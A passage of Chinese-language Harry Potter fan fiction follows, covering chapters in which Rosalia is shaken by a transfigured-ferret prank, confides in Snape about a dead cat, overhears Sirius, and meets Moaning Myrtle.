而且莉莉也在。她还是等着人少些再拆开看吧。罗萨利亚把书包抱过来,道:“家族画像,估计又要唠叨我一些事情,我还是晚点再看吧。”
说着,她拉开了书包拉链——
49. 双胞(下)
“罗萨,你的信掉地上了。”
“……罗萨?你怎么啦?”
“罗萨!你没事吧!”
莉莉的声音像山中回响那般遥远。
“罗萨利亚!”
罗萨利亚感觉自己的脸被人强硬地掰过来了。是斯内普。
她从对方漆黑的眼睛里看到了自己现在的模样:唇色惨白、额头冒汗、不断发抖。
莉莉惊叫:“她包里是什么——”
旁边有人接口道:“天哪,她包里怎么有只一动不动的猫……”
“呕——”她干呕了一下。
斯内普立刻从上衣口袋掏出一瓶药剂,单腿半跪在椅子上,用后背把探头的人挡了回去,同时拔开瓶塞贴到她唇边。
瓶口散发着药味钻进罗萨利亚的鼻腔。是稳定剂。
不是……不是因为这个……
她想要伸手去推,却一点也动不了,嘴唇也颤抖着,说不出话来。
“呕——”
被动静吸引的赫奇帕奇学生,此刻正七嘴八舌地嘀咕着:“不是猫,你看清楚,那是白鼬——”
“它是死了吗?”
“它现在动了,活的!哎呀它要跳出来了!”
罗萨利亚的眼球终于动了。
“呼吸,罗萨利亚,呼吸!”斯内普道。
“呵——”
她的胸腔里终于涌入一口气。
“都走开,没什么好看的!”斯内普压低声音说完,又把稳定剂往她嘴唇上压了压,道:“罗萨利亚,拿着它,听我说——这是一个变形咒:变形还原!”
他抽出魔杖,魔咒击中了那只从罗萨利亚书包中窜出来又跳到餐桌上的白鼬。它一下子变成了一本《魔法史》,重重地摔在一篮肉桂卷旁,发出“咚”地一声。
“哦……是谁故意弄得恶作剧吧。真是的,又不是万圣节了……”
“她至于这么害怕吗……”
“闭嘴!”本吉挥舞着手:“都声音小点,回去坐着吃饭!”
“安静些,这不关你们的事。”马琳道。
于是那些原本凑过来或站起来围观的几个学生又一屁股坐回了自己的位置。
而罗萨利亚呆呆地望着餐桌。她额前的碎发都被冷汗打湿了。
“没事的、罗萨。”莉莉无措地把《魔法史》抓起来,晃到她面前,手忙脚乱地说:“是书,只是书,你别害怕……”
又过了一会儿,她将握在手里的稳定剂“咕嘟咕嘟”喝掉了。
斯内普将药瓶收回口袋,脑袋像蛇那样缓慢转动起来,他的脊背躬紧了,视线穿过嘈杂和喧嚷,又很快盯住什么。罗萨利亚看到他用拇指捻动魔杖,抬手想要阻拦,可动作还是慢了半拍:“人太多了……你先别……莉莉帮我……”
于是莉莉把斯内普稳稳地拽住了,她和其他人一样,还不能明白这到底是怎么了,低声道道:“西弗勒斯,你想干什么去?你先听罗萨利亚的。”
她说着,想把斯内普拉到长椅上坐下,结果却发现自己根本拉不动他——对方僵硬得跟雕像似的。莉莉这才注意到斯内普的指节已经发白了。
“西弗勒斯……你还好吗?”她问。
斯内普把她的手推开了。他收起魔杖,朝礼堂前面那棵被装饰了一半的圣诞树跑去。
莉莉茫然地张着嘴巴。
她看到斯内普在跟麦格教授说话,随后抬手指了一个方向。顺着那个方向望去,她瞧见了无比熟悉的四个人——
詹姆捧着肚子笑得前仰后合,彼得畏畏缩缩地躲着教授的目光,卢平一直垂着脑袋像在逃避什么,而小天狼星盯着她这儿,突然站了起来,如同刚刚听到格兰芬多被扣了两百个学院分那样。
……
“斯内普先生,你非常确定那种稳定剂可以和镇定剂同时饮用是吗?”
“是的。”斯内普简短地说。
“既然如此,”校医院内,庞弗雷夫人迈着又轻又快地脚步,远远地举着一个盛满药的酒杯走来,“拉文谢德小姐,你的镇定剂。喝了它,我相信你会好很多的。”
“谢谢你,庞弗雷夫人。”
罗萨利亚接过酒杯慢慢啜饮。斯内普在一旁默默地看着她。
“我从来没见过这事,”庞弗雷夫人蹙着眉毛,语气十分不悦,“开玩笑把人吓到应激?”
她向麦格教授投以目光,后者双手交握在身前,脸色说不上是生气更多还是关心更切。
“……抱歉,夫人,我还以为它是真的,没看出那只是变形咒。”罗萨利亚轻声道。
“不,我没有责怪你的意思,孩子。”庞弗雷夫人立即道:“我是认为,这已经不能称为玩笑了,拉文谢德小姐。玩笑不会把学生吓成这个样子。”
“其实那是意外……他们应该只是想拿白鼬吓吓我。只是,它刚开始一动不动,我以为它死了……妈妈当时也是那样……”罗萨利亚嘴唇嚅动,用很低的声音道:“叔叔一直住院,妈妈去世时,家里只有我和家养小精灵……所以……”
几人之间流动的空气凝滞了一瞬。
“……好了,孩子,别想那些事了,好好休息一会儿吧。”庞弗雷夫人轻轻地说道。
麦格教授耸起肩膀深吸一口气道:“……我想我还是早些把他们四个的禁闭安排好吧!没有让他们就这么高高兴兴回去过圣诞的道理!”
她步履匆匆地往外走去,然而临到门前,又拐弯折了回来。麦格教授轻呼道:“庞弗雷夫人,还有一件事——你觉得斯内普先生怎么样?”
庞弗雷夫人看向斯内普,点点头肯定地说道:“我觉得没有问题。”
斯内普的目光从罗萨利亚身上移开,蹙眉望着他们。
“斯内普先生,”麦格教授注视着他,认真说道:“我一直听斯拉格霍恩教授说,你的魔药比许多高年级学生都要出色——他所言不虚。而庞弗雷夫人一直缺一位能协助她熬制魔药的人。”
庞弗雷夫人补充道:“如果你愿意的话——我们可以去里面谈一谈助手津贴的事。正好,让拉文谢德小姐在这儿休息一会儿。你觉得怎么样,孩子?”
……
“你答应她了?”
“嗯。”
“你忙得过来吗?”
“可以。”
罗萨利亚靠在有求必应屋提供的软沙发上,用魔杖在空中划出带着雪花的弧线,说道:“好吧。”
中午,斯内普三步一回头地跟着庞弗雷夫人前往隔间后,镇定剂就开始在她体内发挥作用,困倦随之涌了上来。等罗萨利亚再醒来时,已经把下午的魔咒课睡过去一半了——她正好也不想上,干脆翘了,反正弗立维教授也不和她计较这些。
一离开校医院,罗萨利亚就躲进了有求必应屋。不一会儿,斯内普就在穆宁的引领下推门进来,告诉她麦格教授已经惩罚詹姆、小天狼星、卢平和彼得四人在圣诞假期前悬挂好全校的槲寄生装饰。
“你打算去礼堂吃晚饭吗?”斯内普正在搅拌坩埚中的魔药,罗萨利亚感觉一个月前他就在熬制它了——那声音很催眠,她懒洋洋地把魔杖放下了,说:“不想去,不想见人。”
斯内普抬眼瞥她。
罗萨利亚补充道:“没有说你不是人的意思。”
斯内普将搅拌棒放到一边:“你下午在麦格教授和庞弗雷夫人面前说的话——是真的?”
“什么话?”罗萨利亚转开眼:“不记得了——你在熬什么药?”
斯
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内普平静地说道:“吐真剂。”
罗萨利亚把嘴闭上了。
“也许我应该在你的牛奶里倒三滴。”斯内普继续道。
“……我记得这个的使用是有严格规定的。”
“是有规定。”斯内普慢慢说:“但现在没人知道——‘没有说你不是人的意思’。罗萨利亚,你想让我对你用吗?”
“……那很不幸,你倒吐真剂也没用,因为我说的就是真的。”罗萨利亚略带讥讽地说:“我叔叔病入膏肓,不可能从病床上跳起来给我妈妈办葬礼。”
“说点儿我不知道的。”斯内普没耐心地道。
罗萨利亚挑眉:“真话已经说完了,你还想听什么?谎话吗?”
“真话?罗萨利亚?”斯内普说话的语调变得尖锐起来:“用一件事实掩盖另一件,确保它们传递的情绪一致——大脑封闭术的蒙骗手法,原来在你这儿叫‘真话’?白鼬和你妈妈不过是你丢出去的幌子——你以为过去一年,是谁在和你练习这个?”
“……那你就摄神取念!”
“我想听你自己说!”
“说什么?”
“你为什么总对猫避之不及?”
“因为我害死过猫!”
罗萨利亚突然大声说道。
“一只流浪猫!又脏又难看!喂过两次火腿肠就学会翻肚皮了,还以为人人都跟我一样喜欢它呢。吃了不该吃的才知道害怕,跑到我眼前求救。可我能做什么?我那时候跟它有什么区——”
她紧急刹住了。
“……我家里人连自己的死活都顾不上,根本没人管我。我把猫装进包里,回去拿钱,但它很快就死了……我当时还有点不相信呢,”她半嘲讽地说,“抱着包不撒手,还被我妈发现了,她就把它连带那个包一起扔掉了。”
“我说完了,”罗萨利亚僵硬地掀了掀嘴角,“怎么样,现在你满意了吗?”
有求必应屋内寂静一片。
罗萨利亚:“我根本就不想提的……”
“‘跑到你面前求救’——你以为这只猫是指望你救它?”斯内普缓缓开口:“我不知道你的脑子到底在想什么。”
“……不然呢?”罗萨利亚不知道他听了半天为什么只关注这个,语气烦躁地说:“不然它那么努力撑着那口气来找我做什么呢?找我玩游戏吗?”
斯内普不说话了,只是像刚才那样看着她。
在这样的沉默中,罗萨利亚将胸口那点扭曲的东西吞咽了回去。
她有点后悔了。她在他面前胡言乱语太多了:她不能也不想把自己上辈子的事翻出来。可没了前因后果,这就仿佛变成了“死一只猫就这么难过”的矫情事——斯内普不说话就已经是嘴下留情了,她还能指望他讲什么温情细语吗?
这么想着,罗萨利亚把头转过去,避开了斯内普的视线,站起来快步走向有求必应屋的门。
她现在想离开了。
“也许,它只是想呆在你身边。”
可是,斯内普的声音从她身后传来,说道:
“也许,它找你,只是想呆在你身边。”
“……什么?”
“嘭——”
一声惊天动地的巨响。
罗萨利亚猛然转过身:“怎么回事——”然而,等她看清眼前的状况,嘴边的话就一下子卡住了:
现在,西弗勒斯·斯内普狼狈地站在原地,脚边是滚落的坩埚。他酿了整整一个月的魔药,为报复其一时的忽视,已经声势浩大地与他的头发和衣服融为一体了。
两个人面对面站了良久,终于,斯内普开口了——语气很接近罗萨利亚想要的‘轻声细语’。他说:“……罗萨利亚,你想好拿什么赔我了吗?”
50. 棋手
“还有他的巫师袍,劳伊。你拿的时候小心点。”
“放心主人,劳伊马上回来——您的巫师袍,斯内普先生。”
“……谢谢。”
“为主人的朋友服务是劳伊的荣幸。”
“还需要浴巾吗?”罗萨利亚问。
斯内普用漂浮咒把换洗衣物举在空中,他衣袍上还残留着无法用魔咒清洁干净的魔药痕迹。他推开浴室门瞧了一眼,道:“浴室里有浴巾和洗浴用品。”
“你熬制的魔药到底是什么?”罗萨利亚突然道:“那不是吐真剂,对吧。”
“……我的魔药教学终于在你这儿发挥作用了?”斯内普道:“时隔一年?”
“我不是靠推断。”罗萨利亚一顿,又道:“是直觉。我感觉你只是在吓唬人而已。”
听罢,斯内普一言不发地把头扭过去,推开浴室门又把它“啪”地一下关上了。
罗萨利亚还听到了“咔哒”的锁门声。
“……哼。”她转身踹了地上的坩埚一脚。
坩埚打着旋滚出去,还没颤巍巍停下,嘀咕钟又恰好在她怀里响了起来:“马上要日落了,准备念咒……马上要日落了,准备念咒……”
快到念阿尼玛格斯变形术咒语的时刻了。
这种每逢日出日落念咒的日子至少还要持续到明年春天。好在冬天日落更早、日出更晚,倒也不怎么辛苦。
罗萨利亚拦住劳伊弯腰捡起坩埚,朝浴室里喊了一声“我去念咒”,随后小心地离开了有求必应屋。
橘色的夕阳在地上拉长了窗棂的影子,罗萨利亚在八楼就近找了一扇能看到日落的窗户,在太阳坠落到地平线以下的那一刻,用杖尖指向心脏,清晰地说道:“Amato Animo Animato Animagus.”
一股温热暖流涌入胸口,仪式宣告结束。
罗萨利亚呼出一口气,一片苔藓似的白雾顷刻在玻璃上蔓延开来。水汽慢腾腾消散之后,远方无边际的禁林才重新显露。
她望着那片乌压压的土地,忽然想起满月之夜的逃亡。黑湖就在身后,城堡底下是温室和菜地,再往前是光秃秃的打人柳,尽头,海格小屋的烟囱正抽出一条棉絮似的灰线。
两个月前,邓布利多、海格和布瑞兹就坐在那间拥挤的屋子中交谈。
她听到了内容,所以也明白今天中午海格那些前言不搭后语的话的意思——她推测,这个圣诞假期,海格和布瑞兹就要踏上拜访巨人族群的道路了。
这就是邓布利多当时说让他们好好考虑的事情,也是一次针对伏地魔的行动。显然,他知道汤姆·里德尔正在拉拢边缘群体丰富自身力量。
海格不必说,是这次行动的主角,而莱莉·布瑞兹……罗萨利亚后来查了资料:布瑞兹早年确实曾带队深入巨人营地,后来因某次行动死伤惨重而选择了隐退。这么来看,她很可能对巨人踪迹有不少了解——没准,邓布利多就是为此才聘请布瑞兹的?
只是这两个人的组合……真的能行吗……
再就是狼人的事……
罗萨利亚微微皱起眉头。
为什么邓布利多当时会愿意把那些细节讲给她听呢?她自认不是他属意的那种学生。尤其在欢欣剂的事上,她还对他有所保留……说起来,上学年卢修斯与禁书的事倒是没了后话,邓布利多大概已经处理好了?伏地魔似乎没有惩罚马尔福父子……不管结果如何,她不想再掺合进去,何况她和斯内普现在都忙得像陀螺,哪有那个空闲……
“……拉文谢德小姐当然在校医院呀。”
罗萨利亚蓦然回神。
有人顺着楼梯过来了。
“她不在,我去看过了——”
“那么也许是在休息室?或者礼堂?现在正是饭点……
听声音,好像是弗立维教授,他大概是在往办公室走——他在跟谁说话?怎么好像在聊她?
罗萨利亚立刻往就近的一副盔甲后面躲去,还给自己施加了一个幻身咒用于隐蔽。
“她没去礼堂,休息室我也找潘多拉帮忙瞧过了。弗立维教授,拉文谢德真的消失了!”
“不会的,怎么会有学生凭空消失呢,布莱克先生?她肯定是在哪儿休息呢——你找她有什么事吗?”
弗立维教授在前面快步走着,罗萨利亚隐约看到一个头发微卷的格兰芬多正弯着腰,手里拎着木凳,肩上扛着一大箱槲寄生跟在他身后。
是小天狼星。
他说:“我——我就是想看她两眼。”
“但我想她现在应该不会想见你吧——抱歉,布莱克先生,我没有别的意思。只是斯内普先生陈述情况的时候我也在场。”
弗立维教授在高一点的台阶上停下脚步,但依然需要仰着头看小天狼星。他气喘吁吁地说道:“她是我学院的孩子,我十分关心她的状态。我还从麦格教授那里听到了一些细节——我希望你们能意识到,有些玩笑是不适合开的:不是只有流血、断腿或者骨头增生才称得上伤害。”
小天狼星提高了自己的嗓门:“教授,这真的是误会,我只是想吓唬她一下,没想到她会反应那么大。为了防止白鼬真的抓伤人,我还特意用变形术控制——”
“控制白鼬装死,先生?拿‘动物尸体’吓唬她?”
“什么——谁说的——鼻涕、斯内普那么说的?这是污蔑——我怎么可能——我没那个意思——”
“小声一些,先生。”弗立维教授看着他,语气有些无奈,道:“我愿意相信你不是故意的,但不可否认的是,这让罗萨利亚想起了不好的事。”
“她为什么会……那样?”小天狼星的声音重新低了下来:“她这反应不太正常吧。”
“我不确定,先生。也许这和她家的事情有关,但那不是我们该谈论的。”弗立维教授继续往楼上爬来,说道:“好了,我们到了,麦格教授说你负责五楼到八楼的门窗装饰。我想从上往下布置会更方便些。”
小天狼星蹙着的眉头顷刻化作喉间痛苦的呻吟。
弗立维教授用魔杖敲了敲他肩上的纸箱,说:“槲寄生能够化解仇恨,麦格教授希望你们几个能在悬挂它们时多思考这层寓意。”说着,他将一束槲寄生挑起来,像悬挂圣诞彩球那样把它挂在了自己办公室的门前。
“开始你的禁闭吧,布莱克先生。”
拉文克劳院长办公室的门被关上了。
小天狼星一动不动地杵在原地足足一分钟,才终于迈开腿磨磨蹭蹭地朝窗边走去——
此时此刻,正躲在窗边盔甲架旁的罗萨利亚闭了闭眼。
……真是倒霉。怎么每次碰见小天狼星都没有好事——等四月选课,她一定要选占卜课,算算布莱克一家是不是克她。
小天狼星无知无觉地把木凳往地上“咣”地一拖,揪起一束槲寄生踏了上去。木凳晃来晃去,槲寄生被七扭八歪地系到了窗顶。
他又“咚”一声跳下来,掐着腰站在罗萨利亚不久前站过的位置,开始面对窗外发呆。
……你挂完了倒是走啊。罗萨利亚心想。窗外有什么好看的?
就在这时,小天狼星蓦地开口了:“喂。你都听见了吧。”
罗萨利亚全身一僵。
正当她打算站起来时,小天狼星却毫无预兆地拉过木凳,直接坐到盔甲跟前,说:“哥们儿,你觉得这是我的问题吗?”
……等一下,他是在跟——盔甲说话?
“我只是想扳回一局,哪知道她怕成那样——狼人都没把她吓成这样吧?何况我又没让白鼬抓她或咬她。”小天狼星将手一摊,道:“而且,明明是她先和我吵的,莉莉和莱姆斯却都要求我去跟她道歉,我怎么想都觉得自己没问题啊——哦,对了你还不知道狼人和吵架的事。但是说来话长,我懒得讲了,你就假装你知道吧。”
罗萨利亚只能假装自己是盔甲的一部分。
但这时,小天狼星莫名其妙不说话了。他盯着窗外,手里有一搭没一搭地抛
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着槲寄生。罗萨利亚真希望他能尽快意识到自己还有活儿要干——可他显然一点也不想干活:
“哥们儿,我不明白。”小天狼星嘟囔道:“她跟那俩人关系好也就罢了,为什么跟鼻涕精关系也那么好——鼻涕精是不是给她下药了?”
“还有雷古勒斯那个跟屁虫,居然因为这事嚷嚷到我面前来了。看来鼻涕精又给自己找了个新主子。更诡异的是——莉莉居然当场挺了雷古勒斯。她脑子也出问题了?还是说,这也是为了撒谎精?这下好了,詹姆也生气了,两个人吵吵吵个没完,我真是烦透了——”
“啪”一下,他手里的槲寄生被摔到了玻璃上,顺着窗棂滚落下来。
又一阵沉默过后,小天狼星没头没尾地说:“……要么就是装的。也许就是装的。对,你说的对——她利用了所有人,我不会上当的……她怎么可能和我有一样的想法。她可是撒谎精啊,信她这辈子就完了——你也这么觉得?哥们儿,你太懂我了。”
罗萨利亚翻了一个白眼。
“——但是,如果一次是巧合,那么两次呢……”小天狼星语速缓慢:“她想讨好莉莉,说那些话当然有用啦,可雷古勒斯呢……如果她想拉拢他,又为什么要跟他唱反调,替安多米达和唐克斯说话呢?”
……什么?这是什么意思?
罗萨利亚愣住了。
他怎么知道——是雷古勒斯说的?还是……
“你觉得……是我漏掉什么事了吗,哥们儿?”小天狼星说着,再次陷入了沉思。但这一次他没有安静太久,很快便哼哼道:“她要是真那么想……要是真的……那就让布莱克家族跟拉文谢德家族一块儿完蛋。”
说完,小天狼星笑嘻嘻地把木凳前后翘起来,像骑弹簧木马那样玩了几个来回。
从这样的平衡游戏里获得快乐后,小天狼星终于“蹭”地重新站起来,哼着小曲朝胖夫人画像所在的楼梯平台溜达过去了。
不知道过了多久,罗萨利亚终于迈着有些酸麻的腿,从盔甲后面走了出来。她来到“巨怪棒打傻巴拿巴”的挂毯面向的墙壁前,来回踱步三圈,推门进入了那间充满魔药气味的房间。
她慢慢走到放置坩埚的桌子前——现在那里已经被劳伊收拾得焕然一新,一排草药瓶规整地收拢在一起,近旁,斯内普的《高级魔药制作》正安静地呆着。
罗萨利亚便站在书的对面,俯视着它。
【昨晚,我不是想攻击你。是鼻涕精!当时他在你身后——】
【--这个器械……刚才就在这儿吗?--我没注意。走吧,时间不早了。】
【--久等了,没人上来吧?--没有。】
【--如果有人试图带坏雷古勒斯,希望我们能拉他一把——我之前是不是和你说过这个?--没有。】
【或者说,我更清楚这一点,罗萨。是否需要我提醒你,我就是混血,并且还是一个斯莱特林?我理解莉莉说的那种感受。】
【雷古勒斯有什么特别的?你没发现自己在下意识地偏袒他吗?你什么时候能意识到,在多余的人身上花心思只会浪费你宝贵的时间?】
【……你想对谁好都行。】
她用手轻轻地抚过教材泛黄的封面。那上面有几处还飞溅上了魔药印记。
【你觉得……是我漏掉什么事了吗,哥们儿?】(1)
罗萨利亚缓缓将书翻开了。
在那本《高级魔药制作》封底下方,斯内普轻蔑地写道:
【本书属于混血王子。】(2)
“咔哒。”
浴室的门锁响了。
斯内普从里面走了出来,手里还拿着换下来的衣袍。他看向蹲在散乱的书包旁边的罗萨利亚,问:“怎么了?”
罗萨利亚重新站起来,咧开嘴露出了一个略有些古怪的笑容,说:“没什么。我就是觉得……有点吓人。”
她晃了晃手中的信纸,语气不可思议:
“安多米达竟然怀孕了。”
51. 信笺
“不行——不行!罗萨——你不能这么写信呀——”
“我就要这么写——安多米达今年才多大?十八?十九?”
“泰德也是这个年纪啊!”
“是啊,更可恨了——”
“罗萨利亚在信中骂唐克斯了吗?”
“是呀!她怎么能骂人呢?泰德和安多米达肯定在为这个孩子的到来而高兴呢——”
“骂得好。”
“什么——?雷古勒斯,你怎么能这么说?”
“我个人认为唐克斯是混蛋。”
莉莉把行李丢到一边,将深红色的头发整理到耳后,“呼”一下鼓起腮帮:“你、们、两、个!”
雷古勒斯举着张牙舞爪的阿黑挡在罗萨利亚身前:“罗萨利亚,你骂唐克斯什么了?我想听。”
罗萨利亚正在封装信纸,她语速飞快地说:“我骂他什么了?我没骂他,我只是问候他是否不慎被比利威格虫蜇了,不然我怎么在霍格沃茨看见他飘在空中的脑子了呢?”(1)
“这还不算骂人吗!”莉莉尖叫道:“而且,他们这个年纪结婚生子也没什么问题呀。”
罗萨利亚:“我接受不了。”
雷古勒斯:“我也接受不了。”
莉莉没好气地说:“你们俩接受不了也没用,人家才是一对!西弗勒斯,你来评评——”
斯内普举着一杯不再冒热气的牛奶,旁若无人地在《高级魔药制作》上写写划划。闻言,他慢吞吞地说:“我不想参与这个话题。”
“还有三十分钟——火车就要开了——”
远远地,一个声音从礼堂门口传来。
小天狼星扯着嗓子,对距离他不到三步远的詹姆大喊:“詹姆——你准备好了吗——我们得抓紧赶过去——不然来不及了——”
詹姆也大声对他说:“那我们得马上出发了——西里——”
卢平和彼得在一旁捂着耳朵,眼睛往莉莉这边看了一眼。。
莉莉盯着他们摇摇头,收回视线,不客气地说道:“你们两个,不、你们三个!我刚刚决定:整个圣诞假期都不写信给你们!雷古勒斯,我不会等你和阿黑的!”说完,她把围巾利索地甩到脑后,捡起行李大跨步地朝礼堂门口跑去。
见状,罗萨利亚赶紧推了雷古勒斯一把:“别听她说气话,快跟上他们。”
雷古勒斯“哦”了一声,把猫放下,拎着手提箱小步跑了过去。他和阿黑追出去一半路,又扭过脑袋说:“罗萨利亚、西弗勒斯,圣诞快乐——假期后见!”
“圣诞快乐,假期后见。”
“终于安静了。”斯内普轻轻地说。
罗萨利亚将信笺交给穆宁,拍拍它的脑袋,目送它振翅飞了出去。
早在她收到安多米达那封信的第二天,雷古勒斯和小天狼星也同时得到了他们堂姐怀孕的消息。与前者再次大受打击不同的是,后者如畅饮过欢欣剂那般上蹿下跳,仅用一天就挂完了他任务范围内的槲寄生,史无前例地提前完成了禁闭。
唯一让小天狼星不爽的,是安多米达在信末的话——她拒绝把现居地址告诉他和雷古勒斯,并表示如果他们打算写信给她,只能通过罗萨利亚代为转交。
于是,他气冲冲地、同时也破天荒地在当晚的天文学课上给罗萨利亚扔了一张纸条。纸条上的每个字都被他用力划成了大写加粗:
【为什么安多米达会告诉[你]???】
罗萨利亚回他:
【需要我帮你写信问问她吗?二十加隆一次。】
小天狼星再没了讯息。
跟他一比,雷古勒斯反倒振奋起来了。他当即委托罗萨利亚给安多米达转送了信笺和一大袋金加隆,还在看过小天狼星的那张纸条之后——虽然他已经尽力表现得不那么幸灾乐祸了——为自己掌握“不为西里斯知”的讯息而高高翘起尾巴。
这俩兄弟的情绪简直跟跷跷板一样……
而对于罗萨利亚本人来说,整件事如圣诞彩炮般炸得恰到好处。
尽管她确实觉得十八、九岁怀孕生子有些过早,但还是感谢它及时冲淡了自己受惊吓进校医院的余波。几乎所有人都将那桩事抛在脑后了,一直到放假都没人再提起,而这正是她想要的。
“以你的专注程度,怎么样都会觉得吵吧。”
罗萨利亚轻笑一声,对准他手中的牛奶挥动魔杖。下一刻,牛奶便重新冒出丝丝缕缕的热气——这还是她从弗立维教授去年圣诞送的《日用魔咒汇编》里学来的。
“喏,赔礼。”她道。
斯内普接受了。杯子徒留奶渍,被重新放回桌上。
罗萨利亚从餐桌上摆放的一大盘棒棒糖里挑出一根,慢条斯理地把它剥开问:“今年的圣诞礼物,你准备好了吗?”
“嗯。”斯内普没有抬头,道:“另外,尽管你摄神取念得很快,但我还是感觉到了,罗萨利亚。”
“……哼。”罗萨利亚挑眉道:“要是哪天你感觉不到了,不高兴的可不会是我。”说完,她一把将棒棒糖塞进嘴里——似乎是草莓味的,有点酸。
“不会有那么一天。”“西弗勒斯,”
罗萨利亚盯着斯内普垂下的头发,含糊地说,“我有点后悔了。”
“什么?”
“我去年不该对你那么有礼貌的。”她凑得近了一些,用手托着下巴,嘴角的糖棒一上一下地摆动:“我的摄神取念已经有些看不清你了,西弗勒斯,你进步太快了——‘通过让对方看到自己想让对方看到的事从而引起误判’,这一点,你已经能做到了。”
斯内普手中的羽毛笔在书页边缘无声地戳下一点。
他慢慢道:“这样才公平。”
“什么?”
“你终于体会到我摄神取念你时的感受了。”
“我的大脑封闭术又没有你的厉害。”
“但我研究你是很费劲的,罗萨利亚。”斯内普抬起眼睛,道:“或许这对你来说很难理解。毕竟你的天赋允许你像冥想盆那样复现他人记忆,同时还能连接对方所思所感,这是魔咒是无法企及的。”
罗萨利亚从这话里听出了一丝酸味:“我知道先天的摄神取念能力和后天习得的摄神取念术不一样。其实我想说……”
“多数巫师想要看穿一个人的头脑,尤其是复杂、多层次的头脑,需要经过校对、研究和验证。”斯内普继续道:“我真想知道别人的脑子是否也和你的一样费解……你知道自己的头脑是不连贯的吗?”
罗萨利亚本想趁他顿住扭转话题,可听了这话,自己先停了:“……什么意思?”
“我很早就有这种感觉……你不允许我提取你没上学的那些记忆和感觉,”斯内普说这话时略有些不满,“现在我也很难知道了——但按理来说这并不碍事。因为人脑应该是一个连续体,不会因为片段而改变,了解人当下的记忆和感觉,就可以反推他的过去,反之亦然。”
“而你很奇怪……罗萨利亚,”斯内普眯起黑漆漆的眼睛,“我看不出过去在你身上的影响,按照推断,你不该是现在这个样子……”
罗萨利亚鼓动了一下嘴里的棒棒糖。她右侧的腮帮已经发皱了:“那么……根据推断……我本该是什么样子?”
“我想,”斯内普仿佛想到了什么,撇嘴轻蔑地说,“应该和安多米达的推断一致,只有这样才能解释她为什么会把雷古勒斯塞给你——她是不是觉得,你和雷古勒斯有些像?”
“嘎吱”一声,罗萨利亚把口中的棒棒糖嚼碎了。莓果酸味的蔓延,使她不禁抽动嘴角,露出一个似笑非笑的表情:“这么说来,似乎确实有点……那你眼中的我呢?”
斯内普注视着她,半晌后,又垂下目光,咕哝道:“反正,你肯定和雷古勒斯不一样。”
“……好吧。”罗萨利亚不置可否,只是松动肩膀将身体后倾,说:“我也看出来你和半年前不一样了。”
“……什么?”斯内普问。
罗萨利亚抬手指向他的头发,笑眯眯地道:“你的头发——有点长了,不挡眼睛吗?”
斯内普瞥向垂在自己脸侧的几缕黑发,稍稍将背挺直。头发顺势躺回了他肩膀上。他鼻子里发出闷哼,有点别扭地说道:“我没空打理它们。”
“看得出你分身乏术了,顾不上也正常。”罗萨利亚从兜里掏出一根发绳,推到斯内普面前说道:“懒得修剪的话,就用这个扎起来吧。我那里还有很多。”不等对方说话,她又撑着桌子站起身来:“我先去一趟——盥洗室。”
斯内普漆黑的视线追随罗萨利亚的背影消失在礼堂的尽头,最后才微微闪烁着落到杯旁的那根黑色发绳身上。
过了一会儿,他把羽毛笔放到墨水瓶中,轻轻活动了一下僵硬的手指。
“哗啦——”
罗萨利亚洗了一把脸
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。
盥洗室的水裹挟冬日的温度,扑在温热的肌肤上却能令人感到舒爽。她掏出手帕,擦去脸上蜿蜒滚落的水珠,又用手背贴上自己的脸颊——脉搏有点快——
西弗勒斯·斯内普,他真有点吓人了……
他怎么——怎么把她当黑魔法研究啊……
这么想着,她却咯咯地笑了起来,就仿佛是被什么逗笑了。
“啊啊啊——是谁在发笑!”
一声响亮而凄厉的尖叫突然在空荡的盥洗室里响了起来。
“什么东西——?”罗萨利亚被吓得一激灵,一下子就从刚才的情绪中抽离了。
“东西?”一个幽灵大喊一声冒了出来,汩汩地说:“你又是什么东西——?我在这儿待得好好的,思考自己的问题,忽然,传来一阵诡异的动静——是你发出来的!你真吓人!”说着,幽灵抽搭着哭了起来:“我以为,自那天以后我就不会再听到这样阴森的笑声了……”
“你是……”罗萨利亚这才逐渐反应过来,她试探着说道:“桃金娘学姐?”
桃金娘的哭声立刻停止了。
“你叫我学姐?”
“我看你是拉文克劳学院……”“你叫我学姐——?”
桃金娘在空中转了一个圈:“已经快三十年了,快三十年没有人这样称呼我了!永远是‘丑八怪’、‘哭哭啼啼’、‘闷闷不乐’——你是谁?我想知道你的名字。”
桃金娘的粗声大笑反而令罗萨利亚的情绪平复了下来。她诚恳地说:“……只是无名小卒罢了,我现在就打算回去了。打扰了。”
说着,她抬脚往盥洗室门口走去。然而桃金娘还跟在她身后:“你也是拉文克劳学院的学生,嗯……我突然觉得你有点眼熟,我以前是不是见过你?”
“那得看是多久以前了。”罗萨利亚小声道:“近三十年肯定没见过。”
“我想起来啦!”桃金娘追着她离开了盥洗室说:“你跟格雷女士长得有点像——”
罗萨利亚脚步一顿,回头道:“谁?”
“格雷女士,拉文克劳塔——”“拉、拉文谢德小姐——”
桃金娘的话被打断了,她不满地朝前方瞪大眼睛:“为什么……为什么从来没人听我说话?你为什么要无视我?因为我是个幽灵,所以你就可以假装我不在场是吗?”
“对、对不起——”
罗萨利亚又转过身去。一个巫师袍上绣着格兰芬多学院徽章的男生正站在距离她三步以外的地方看着她。因为桃金娘的抱怨,他又脸色涨红、顺拐般往后退了两步。
桃金娘逼近了格兰芬多学生,目光透过珍珠色镜片审视着他,后者缩在袖子里胳膊似乎绷得更紧了。忽然,桃金娘像是意识到什么一般,突然发出了咯咯地、意味深长地笑声:“我知道了,我知道了。”在飞快地躲回盥洗室之前,她还刻意绕着男学生飘了一圈。
“你、你好,拉文谢德小姐。”格兰芬多男学生紧张地说。
“你好?”罗萨利亚试图从对方脸上翻找出些熟悉的印象,然而失败了。
男学生又问:“你、你还记得我吗?”
“嗯……我肯定见过你。”罗萨利亚道:“我们应该不是同一级的吧?”
“是的!”男学生有点激动,他的脸变得更红了,摇摇晃晃地往前走了几步:“你救过我,你还记得吗……”
罗萨利亚困惑地“啊”了一声:“我救过——”
她忽然想起来了。
“……你是戴维·格杰恩吗?”
“是我!”戴维的语速一下子变快了:“那次在打人柳,如果不是你,我的眼睛可能就保不住了……”
“准确来说,”罗萨利亚纠正道,“你的眼睛能保住,是因为当时和我在一起的那个斯莱特林。也许你没看到。”
“……是,我后来听说了,但是,你也救了我——在那之后,一直都有关注你,我觉得你很酷,连吵架时的样子都——”
